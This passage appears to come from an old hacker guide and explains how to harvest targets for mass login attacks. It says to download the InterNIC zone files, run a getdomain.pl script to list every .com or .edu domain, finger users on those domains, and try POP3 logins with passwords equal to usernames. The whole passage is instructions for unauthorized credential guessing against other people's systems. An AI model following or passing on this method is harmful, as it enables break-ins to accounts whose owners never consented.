You could also write a small perl script that will finger @ from a domain
list and cat the response to a file, then when done it will go back and try
to login using pop3d username-username (or other info) and putting the
response into another file for you.

You can ftp to rs.internic.net:
in the domain directory you will find:

com.zone.gz
edu.zone.gz
gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz

download these files and run getdomain.pl (In next post) on the domains you
want to target first, in this manor:

"perl getdomain.pl com.zone com >com.all"

What this will do is rip all of the .COM domains and put them into a file
called comm.all.

If you wanted to do all of the .EDU addresses you would type:

perl getdomain.pl edu.zone edu >edu.all

Now you will have a list to use with your probe called edu.all
